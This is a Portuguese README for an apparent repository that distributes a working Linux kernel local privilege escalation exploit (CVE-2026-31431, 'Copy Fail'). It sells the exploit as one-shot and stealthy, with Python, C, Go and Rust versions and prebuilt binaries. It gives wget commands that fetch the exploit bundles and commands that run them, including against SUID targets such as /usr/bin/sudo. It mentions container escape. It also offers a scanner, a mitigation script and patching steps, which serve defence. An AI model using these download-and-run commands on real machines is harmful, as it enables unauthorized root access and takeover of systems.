
# Exploit de escalada de privilégios local no kernel Linux para CVE-2026-31431, fornecendo um PoC confiável de disparo único com múltiplas implementações em linguagens, scanner de vulnerabilidades e script de mitigação.
Uma escalada de privilégios local 100% confiável no Linux que afeta todas as distribuições mainstream desde 2017.
Um único bug lógico em
authencesn, encadeado através deAF_ALGesplice()em uma escrita de 4 bytes no page-cache — explorável silenciosamente por quase uma década.
Todo o código e documentação neste repositório são fornecidos exclusivamente para pesquisa de segurança autorizada e fins educacionais.
Executar código de exploit contra sistemas que você não possui ou para os quais não tem autorização escrita explícita para testar é ilegal. Ao usar este repositório, você aceita total responsabilidade por suas ações.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2026-31431 |
| Alias | Copy Fail |
| Tipo | Escalada de privilégios local no kernel Linux (LPE) / escrita arbitrária no page-cache |
| CVSS v3.1 | 7.8 ALTA — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-669 (Transferência Incorreta de Recursos Entre Esferas) |
| Componente | crypto/algif_aead — template criptográfico authencesn |
| Introduzido | 2017 (commit 72548b093ee3) |
| Corrigido | Commit mainline a664bf3d603d (2026-04-01) |
| Kernel corrigido | v6.18.22+, v6.19.12+, v7.0+ |
| Descobridor | Xint / Theori (Taeyang Lee + auditoria assistida por IA Xint Code) |
| Divulgação | 2026-04-29 — copy.fail |
| LPE típico no Linux | Copy Fail | |
|---|---|---|
| Condição de corrida | Necessária | Nenhuma |
| Offsets por distribuição | Necessários | Nenhum |
| Confiabilidade | 30–80% | 100%, disparo único |
| Janela afetada | Estreita | 2017 → 2026 (9 anos) |
| Modificação em disco | Possível | Nenhuma (furtivo) |
| Entre containers | Não | Sim |
.
├── README.md ← Você está aqui
├── LICENSE ← MIT
├── .gitignore
├── docs/
│ ├── analysis-report.md ← Análise de segurança abrangente
│ ├── analysis-report.html ← Versão HTML estilizada
│ ├── exploit-walkthrough.md ← Análise do PoC linha por linha
│ └── exploit-walkthrough.html ← Versão HTML estilizada
└── poc/
├── README.md ← Guia de uso do PoC
├── copy_fail_exp.py ← PoC oficial (732 bytes, ofuscado)
├── copy_fail_exp_readable.py ← Versão desofuscada + anotada
├── copy_fail_exp_compat.py ← Compatível com Python 3.6+ (splice via ctypes)
├── copy_fail_exp_alpine.py ← Variante para Alpine Linux
├── copy_fail_exp.c ← Implementação em C (zero dependências)
├── copy_fail_exp.go ← Implementação em Go (zero dependências)
├── copy_fail_rust/ ← Implementação em Rust
│ ├── Cargo.toml
│ └── src/main.rs
├── check_vulnerable.py ← Scanner de vulnerabilidade
└── mitigate.sh ← Script de mitigação com um clique
# Dos GitHub Releases — binários pré-compilados (Linux amd64/arm64) + todos os scripts Python
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-go-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-c-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-python.tar.gz
tar xzf copy-fail-go-linux.tar.gz
tar xzf copy-fail-c-linux.tar.gz
tar xzf copy-fail-python.tar.gz
# Binário estático Go (sem necessidade de Python)
chmod +x copy-fail-exp-amd64
./copy-fail-exp-amd64
# Binário estático C
chmod +x copy-fail-exp-c-amd64
./copy-fail-exp-c-amd64
# Ou use os scripts Python diretamente
python3 check_vulnerable.py
📦 Releases são construídos automaticamente via GitHub Actions a cada push de tag
v*. Os binários Go e C são compilados para linux/amd64 e linux/arm64 como binários estáticos.
python3 poc/check_vulnerable.py
sudo bash poc/mitigate.sh
Isso coloca o módulo do kernel algif_aead na lista negra — não quebra nada em 99% dos sistemas.
# Debian/Ubuntu
sudo apt update && sudo apt upgrade linux-image-*
# RHEL/CentOS/Fedora
sudo dnf update kernel
# Reinicie no kernel corrigido
sudo reboot
python3 poc/check_vulnerable.py
# Código de saída 1 = protegido ✓
AVISO: Execute apenas em sistemas que você possui ou para os quais tem autorização para testar.
| Arquivo | Linguagem | Requisitos | Notas |
|---|---|---|---|
copy_fail_exp.py | Python 3.10+ | apenas stdlib | PoC oficial de 732 bytes |
copy_fail_exp_compat.py | Python 3.6+ | stdlib + ctypes | Funciona em CentOS 7, AL2 etc. |
copy_fail_exp_alpine.py | Python 3.10+ | apenas stdlib | Visa /bin/ping no Alpine |
copy_fail_exp.c | C | gcc + headers do Linux | Binário estático, zero dependências |
copy_fail_exp.go | Go 1.21+ | apenas stdlib | Binário estático, zero dependências |
copy_fail_rust/ | Rust 1.70+ | crates libc + flate2 | Binário estático |
# C
gcc -static -o exp ./poc/copy_fail_exp.c && ./exp
# Python
python3 poc/copy_fail_exp.py
python3 poc/copy_fail_exp_compat.py # Python < 3.10
# Go
go build -o exp ./poc/copy_fail_exp.go && ./exp
# Rust
cd poc/copy_fail_rust && cargo run --release
Todas as versões aceitam um argumento opcional para visar um binário SUID diferente:
python3 poc/copy_fail_exp.py /usr/bin/passwd
./exp /usr/bin/sudo
Avaliação completa da vulnerabilidade cobrindo:
authencesn)Análise do PoC linha por linha cobrindo:
AF_ALG, entrega no page-cache via splice(), mecânica de sg_chain()authencesn que cruza limites do scatterlist/etc/passwd, visando bibliotecas compartilhadas, escape de container